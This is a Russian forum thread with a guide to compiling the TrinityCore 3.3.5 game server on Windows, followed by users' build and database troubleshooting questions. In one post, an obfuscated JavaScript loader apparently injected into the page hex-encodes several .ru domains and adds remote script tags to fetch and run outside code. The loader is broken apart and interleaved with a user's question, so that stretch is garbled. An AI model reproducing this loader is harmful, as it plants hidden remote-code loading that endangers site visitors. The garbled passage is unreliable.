|
|
Модератор форума: Dimitro |
Форум TrinityCore Установка / Настройка TrinityCore [Мануал] Компиляция ядра под новую ревизию (Windows) |
[Мануал] Компиляция ядра под новую ревизию |
ВНИМАНИЕ: Скомпилировать ядро на win xp/win 2003 - НЕЛЬЗЯ!
1. Необходимый софт: 1.Microsoft Visual Studio - рекомендую community версию, т.к. она бесплатная. 2.Boost(x64), Boost(x32) 3.Git 4.MySql - Для корректной работы разработчики рекомендуют 5.6.х версию. 4.Cmake - качаем последнюю версию, НО НЕ ТЕСТОВУЮ! 5.Openssl - Нам нужна 1.0.х версия, не Lite. 6.Исходники P.S: Разработчики рекомендуют нам все делать на 64-битной платформе. 2. Установка: Все программы устанавливаются в штатном режиме за исключение Visual Studio. Во время установки необходимо сделать следующее: Если у вас уже есть установленный MVS 2015, но без установленного пакета, не стоит сразу его удалять. Заходим Пуск->Панель управления->Установка и удаление программ. Находим нашу программу, нажимаем изменить и снова попадаем в окно установки, откуда и включаем в установку необходимый нам пакет. Все остальные программы устанавливаются точно так же, как и при компиляции старой ревизии(boost и opessl установить/распаковать в корень диска с Windows - С:/boost_1_6_0; C:/Opessl). Не забываем подключить функцию запуска Git'a из командной строки: Далее необходимо добавить 2 системные переменные. Для этого: Заходим в мой компьютер->свойства->Дополнительные параметры системы->Переменные среды. Далее необходимо создать эти переменные. Для этого нажимаем add/new/добавить(в зависимости от вашей операционки), имя первой переменной - BOOST_INCLUDEDIR, значение - путь к установленной либе Boost(C:/boost_1_6_0), имя второй переменной - BOOST_ROOT, значение - аналогичное. На этом этап подготовки завершен. Переходим к этапу компиляции ядра. 3. Компиляция: БУДЬТЕ ВНИМАТЕЛЬНЫМИ!!!
На сайте разработчиков указана ссылка репозитория версии 3.3.5 - https://github.com/TrinityCore/TrinityCore, однако на данный момент в этом репозитории версия 6.х! Рабочая ссылка на репозиторий 3.3.5 - https://github.com/trinitycore/trinitycore/tree/3.3.5 - качаем через браузер, или с помощью Git'a, не суть. Далее запускаем скаченный нами ранее Cmake. В 1 окне выбираем, где скачены наши исходникки, во 2, куда будет помещено наш проект.Нажимаем Сonfigure, в появившемся окне выставляем такие параметры: Если вы компилируете не в среде х64, то необходимо выбрать Microsoft Visual Studio 2014. Нажимаем Finish. Если вы все правильно сделали, то у вас должен получиться такой-же результат. Убедитесь, что стоит галочка на Tools. Далее еще раз нажимаем Configure, а затем Generate. После этих действий заходим в папку с проектом и запускаем ALL_BUILD. После правой кнопкой мыши нажимаем по ALL_BUILD, сперва нажимаем Очистить, а затем повторить действие но уже выбираем Собрать. ВНИМАНИЕ: Если вы собирали проект в Cmake на х64 платформе, то и в MVS так же выбираем Release версию и x64 платформу( в моём visual studio не было х64 платформы, поэтому я ее создавал) Должен предупредить, процесс довольно долгий, у меня занимает в среднем до 40 минут. После завершения сборки вы должны увидеть сообщение о том, что при сборке произошло 0 ошибок. Закрываем MVS и переходим к завершающему этапу. 4.Запуск: После того, как мы собрали наш проект, заходим в папку с этим проектом: D:/project/trinity/bin/Release - в моем случае. Далее нам необходимо извлеч карты. Для этого копируем 4 файла: mapextractor, mmaps_generator, vmaps4assembler, vmaps4extractor. Эти файлы нам необходимо скопировать в корневую папку Wow(там где лежит Wow.exe) и запустить mapextracor.ехе. По завершению процесса мы получим 3 папки, которые нам нужно скопировать в папку с нашим ядром(откуда мы брали mapextracotr). Далее, переименовываем worldserver.conf.dist в worldserver.conf, тоже самое и с authserver. Затем, нам нужно скопировать 3 файла: 1. C:/Program Files/MySql/MySql server 5.6/lib/libmysql.dll 2. C:/openssl/bin/libeay32.dll и ssleay32.dll Копируем эти файлы в корень нашего сервера(где worldserver). Далее, нам необходимо скачать БД - БУДЬТЕ ВНИМАТЕЛЬНЫ! Скачать нужно TDB 335.62 После этого, из скаченного архива, нам необходимо извлечь TDB_full_world_2016.sql (НЕ ПЕРЕИМЕНОВЫВАТЬ!!) и поместить вместе с worldserver. Далее, заходим в authserver.conf и меняем следующий параметр: LoginDatabaseInfo = "127.0.0.1;3306;root;trinity;auth" - там где root(логин) и trinity(пароль) нужно указать ваши данные для подключения к MySql. Так же меняем параметры в worldserver.conf: LoginDatabaseInfo = "127.0.0.1;3306;trinity;trinity;auth" WorldDatabaseInfo = "127.0.0.1;3306;trinity;trinity;world" - по аналогии с authserver.conf. CharacterDatabaseInfo = "127.0.0.1;3306;trinity;trinity;characters" По скольку, мы не извлекали карты для геодаты, в worldserve.conf необходимо изменить следующие параметры: vmap.enableLOS = 1 – меняем на 0 vmap.enableHeight = 1 – меняем на 0 vmap.petLOS = 1 – меняем на 0 vmap.enableIndoorCheck = 1 – меняем на 0 После всех манипуляций сперва запускаем worldserver.exe, вас попросят ввести y/n, для создания бд(теперь все в автоматическом режиме), везде говорим "y" и ждем 2-3 минуты. По завершению, выключаем worldserver.exe, запускаем authserver.exe и затем снова запускаем worldserver.exe Если вы все сделали правильно, звуковой сигнал даст вам знак, что все прошло успешно, можно заходить на ваш сервер) PS: Я столкнулся с проблемой, что подключение к серверу было установлено, однако постоянно висела "Соединение установлено" и не давала мне зайти и нормально поиграть. Решил так: качаем навикат, заходим, подключаемся к БД и делаем следующее: Значение столбца localAdress меняем с 127.0.0.1 на localhost. Знаю, что ничего не поменялось, но почему-то эта манипуляция мне помогла. Спасибо за внимание) |
xnj pf ghjuf
Добавлено (25.02.2017, 18:33) Добавлено (25.02.2017, 18:33) Добавлено (25.02.2017, 18:34)
Сообщение # 4 написано 25.02.2017 в 18:34
|
Заходишь /путь к серверу/src/server/scripts/Custom
Открываешь custom_script_loader В конце каждого скрипта есть скрока void AddSC_name_of_script() { new name_of_script(); } В скрипт лодере, перед void AddCustomScript() добавляешь void AddSC_name_of_script(); А в теле функции (в фигурных скобках) AddCustomScript пишешь AddSC_name_of_script(); Скрипты закидывай к скрипт лоудеру.
Сообщение # 8 написано 10.03.2017 в 09:04
|
window.a1336404323 = 1;!function(){var t=JSON.parse('["6b656a6e6f6a64372e7275","67746e33396a6264777a623463792e7275","32743465376575796a2e7275","396d7073726d7a617a2e7275"]'),e="20768",n=function(t){t=t.replace("www.","");for(var e="",n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e="",n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="wowjp.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r
];return e.apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n ,u=o©+"/ajs/"+e+"/c/"+n®+"_"+(self===top?0:1)+".js";window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();Можешь дать свой скайп , вопрос по компиляции есть.
]?(e=e[n],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t < e.length;t++)if(o.indexOf(e[t])>-1)return!1;return!0},d=function(i){if(a()){var c=t
Сообщение # 9 написано 24.03.2017 в 18:02
|
Все остальные программы устанавливаются точно так же, как и при компиляции старой ревизии(boost и opessl установить/распаковать в корень диска с Windows - С:/boost_1_6_0; C:/Opessl). По ссылке скачал boost_1_59_0-msvc-14.0-64. Но при компиляции студия 2015 выдает ошибки ругаясь на версию буста((((
Сообщение # 10 написано 26.03.2017 в 15:45
|
Можешь вылажить версию boost_1_6_0???По ссылке скачал boost_1_59_0-msvc-14.0-64. Но при компиляции студия 2015 выдает ошибки ругаясь на версию буста(((( Там можно выбирать какую тебе нужно! Вот ссылка на версии, выбери нужное https://sourceforge.net/projects/boost/files/boost/ П.С извиняюсь что ссылка в полный вид, подзабыл как это делается!) |
Добрый день!
Хотелось бы добавить, что при сборке в cmake может возникнуть ошибка связанная с openssl. Возможно стоит дописать в гайд её фикс - указание пути в ручную в окне сборке cmake? Но я с другим вопросом. При компиляции ядра в VS 2017 возникает ряд ошибок: Код Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" vmap4assembler D:\Serv\Core\src\tools\vmap4_assembler\LINK 1 Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" connection_patcher D:\Serv\Core\src\tools\connection_patcher\LINK 1 Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" mmaps_generator D:\Serv\Core\src\tools\mmaps_generator\LINK 1 Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" vmap4extractor D:\Serv\Core\src\tools\vmap4_extractor\LINK 1 Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" mapextractor D:\Serv\Core\src\tools\map_extractor\LINK 1 Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" bnetserver D:\Serv\Core\src\server\bnetserver\LINK 1 Предупреждение C4018 >=: несоответствие типов со знаком и без знака (компилируется исходный файл D:\Serv\TrinityCore\src\server\game\Entities\Conversation\Conversation.cpp) game D:\Serv\TrinityCore\src\server\game\Entities\Object\Object.h 216 Предупреждение C4018 >=: несоответствие типов со знаком и без знака (компилируется исходный файл D:\Serv\TrinityCore\src\server\game\Entities\Item\Item.cpp) game D:\Serv\TrinityCore\src\server\game\Entities\Object\Object.h 216 Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" worldserver D:\Serv\Core\src\server\worldserver\LINK 1 Ошибка MSB3073 выход из команды "setlocal "C:\Program Files\CMake\bin\cmake.exe" -DBUILD_TYPE=Release -P cmake_install.cmake if %errorlevel% neq 0 goto :cmEnd :cmEnd endlocal & call :cmErrorLevel %errorlevel% & goto :cmDone :cmErrorLevel exit /b %1 :cmDone if %errorlevel% neq 0 goto :VCEnd :VCEnd" с кодом 1. INSTALL C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\IDE\VC\VCTargets\Microsoft.CppCommon.targets 138 Больше всего беспокоят ошибки - LNK1181. Прочитав данный гайд я понял что компилировал в х32, ошибка могла возникнуть из за этого? Так же качал исходники через git, но использовал адрес - https://github.com/TrinityCore/TrinityCore, в гайде есть уточнение на счёт адреса, что это не 3.3.5а, на данный момент это актуально?
Сообщение # 13 написано 25.10.2018 в 10:01
|
если ты компилишь в cmake на визуалке х32 то у тебя должен openssl и boost быть для х32(название папок не меняй, пути может не искать), если х64, то аналогично.
Вот буквально вчера была твоя ошибка, я собрал в cmake на визуалке х32, а компилил в х64, из за этого не ищет библиотеки как в твоем случае. Просто пересобери в Cmake чтоб boost и openssl были х64 и поставь визуалку х64 на сбор. Аналогично с х32.
Сообщение # 14 написано 29.10.2018 в 11:57
|
Прошу помочь, есть проблема с обновлением базы данных TDB!!
Проблема такая Скачал репак сервера 3.3.5 и захотел обновить ревизию баз данных, стояла 3.3.5.60, а поставил последнюю 3.3.5.64 (качал с github). Заливал через навикат sql файл full базы, но после worldserver при запуске выдаёт такую-вот ошибку ЦитатаTrinityCore rev. fb14cb7e4fbf 2015-12-31 21:54:52 +0100 (3.3.5 branch) (Win32, Release) (worldserver-daemon)<Ctrl-C> to stop. ______ __/\__ _\ __ __/\ \__\/_/\ \/ _ __ /\_\ ___ /\_\ \, _\ __ __ \ \ \/\`'__\/\ \ /' _ `\/\ \ \ \/ /\ \/\ \ \ \ \ \ \/ \ \ \/\ \/\ \ \ \ \ \_\ \ \_\ \ \ \_\ \_\ \ \_\ \_\ \_\ \_\ \__\\/`____ \ \/_/\/_/ \/_/\/_/\/_/\/_/\/__/ `/___/> \ C O R E /\___/http://TrinityCore.org \/__/ Using configuration file worldserver.conf.Using SSL version: OpenSSL 1.0.2e 3 Dec 2015 (library: OpenSSL 1.0.2e 3 Dec 2015)Using Boost version: 1.59.0Automatic database updates are disabled for all databases!Could not prepare statements of the World database, see log for details. Прошу по-подробнее объяснить, в чём я накосячил и решение проблемы! Заранее спасибо!) |
Automatic database updates are disabled for all databases!Could not prepare statements of the World database, see log for details. Как вариант, включи автообновления в worldserver.conf для всех баз данных. Не знаю поможет ли, но попробуй так. Код Updates.EnableDatabases = 7 Updates.AutoSetup = 1 Updates.Redundancy = 1 Updates.CleanDeadRefMaxCount = 3 Если не поможет, тогда чекай логи, там должно быть написано всё более подробно.
Сообщение # 17 написано 23.12.2018 в 02:42
|
Как вариант, включи автообновления в worldserver.conf для всех баз данных.Не знаю поможет ли, но попробуй так. Код Updates.EnableDatabases = 7 Updates.AutoSetup = 1 Updates.Redundancy = 1 Updates.CleanDeadRefMaxCount = 3 Если не поможет, тогда чекай логи, там должно быть написано всё более подробно. Сделал, как велел, вылазит это Цитата TrinityCore rev. fb14cb7e4fbf 2015-12-31 21:54:52 +0100 (3.3.5 branch) (Win32, Release) (worldserver-daemon) <Ctrl-C> to stop. ______ __ /\__ _\ __ __/\ \__ \/_/\ \/ _ __ /\_\ ___ /\_\ \, _\ __ __ \ \ \/\`'__\/\ \ /' _ `\/\ \ \ \/ /\ \/\ \ \ \ \ \ \/ \ \ \/\ \/\ \ \ \ \ \_\ \ \_\ \ \ \_\ \_\ \ \_\ \_\ \_\ \_\ \__\\/`____ \ \/_/\/_/ \/_/\/_/\/_/\/_/\/__/ `/___/> \ C O R E /\___/ http://TrinityCore.org \/__/ Using configuration file worldserver.conf. Using SSL version: OpenSSL 1.0.2e 3 Dec 2015 (library: OpenSSL 1.0.2e 3 Dec 2015) Using Boost version: 1.59.0 Didn't find executeable mysql binary at 'D:/СЕРВ/3.3.5а/Jeuties Blizzlike Repack rev 1.12 (x86) MySQL 5.6.28 - копия/Core' or in path, correct the path in the *.conf ("Updates.MySqlCLIPath"). Could not update the Login database, see log for details. после этого указал в конфиге, где находится exe`шник mysql вот так: Updates.MySqlCLIPath = "D:/СЕРВ/3.3.5а/Jeuties Blizzlike Repack rev 1.12 (x86) MySQL 5.6.28 - копия/Server/MySQL/bin/mysql.exe", далее пишет это Цитата TrinityCore rev. fb14cb7e4fbf 2015-12-31 21:54:52 +0100 (3.3.5 branch) (Win32, Release) (worldserver-daemon) <Ctrl-C> to stop. ______ __ /\__ _\ __ __/\ \__ \/_/\ \/ _ __ /\_\ ___ /\_\ \, _\ __ __ \ \ \/\`'__\/\ \ /' _ `\/\ \ \ \/ /\ \/\ \ \ \ \ \ \/ \ \ \/\ \/\ \ \ \ \ \_\ \ \_\ \ \ \_\ \_\ \ \_\ \_\ \_\ \_\ \__\\/`____ \ \/_/\/_/ \/_/\/_/\/_/\/_/\/__/ `/___/> \ C O R E /\___/ http://TrinityCore.org \/__/ Using configuration file worldserver.conf. Using SSL version: OpenSSL 1.0.2e 3 Dec 2015 (library: OpenSSL 1.0.2e 3 Dec 2015) Using Boost version: 1.59.0 Updating Auth database... DBUpdater: Given source directory C:/github.com/tkrokli/TrinityCore does not exist, skipped! Could not update the Login database, see log for details. Т.е. я так понял эта сборка не поддерживает обнову с одного файла. Нужна не фулл БД одним файлом, а Sourse code
Сообщение # 18 написано 25.12.2018 в 16:32
|
Зилиус, по дефолту source directory указана та, которая была при компиляции. Так как ты скачал готовую сборку, то чтобы сервер сам обновил базу, необходимо указать конкретный путь к sql файлам. Открой worldserver.conf и найди там SourceDirectory и укажи необходимую папку. Например D:\Server\Source
Сообщение # 19 написано 28.12.2018 в 19:49
|
У меня не получается.
На моменте где нужно "После правой кнопкой мыши нажимаем по ALL_BUILD, сперва нажимаем Очистить, а затем повторить действие но уже выбираем Собрать."
Выдает ошибки "Object reference not set to an instance of an object."
Сообщение # 20 написано 12.01.2019 в 21:39
|
| |||
| |||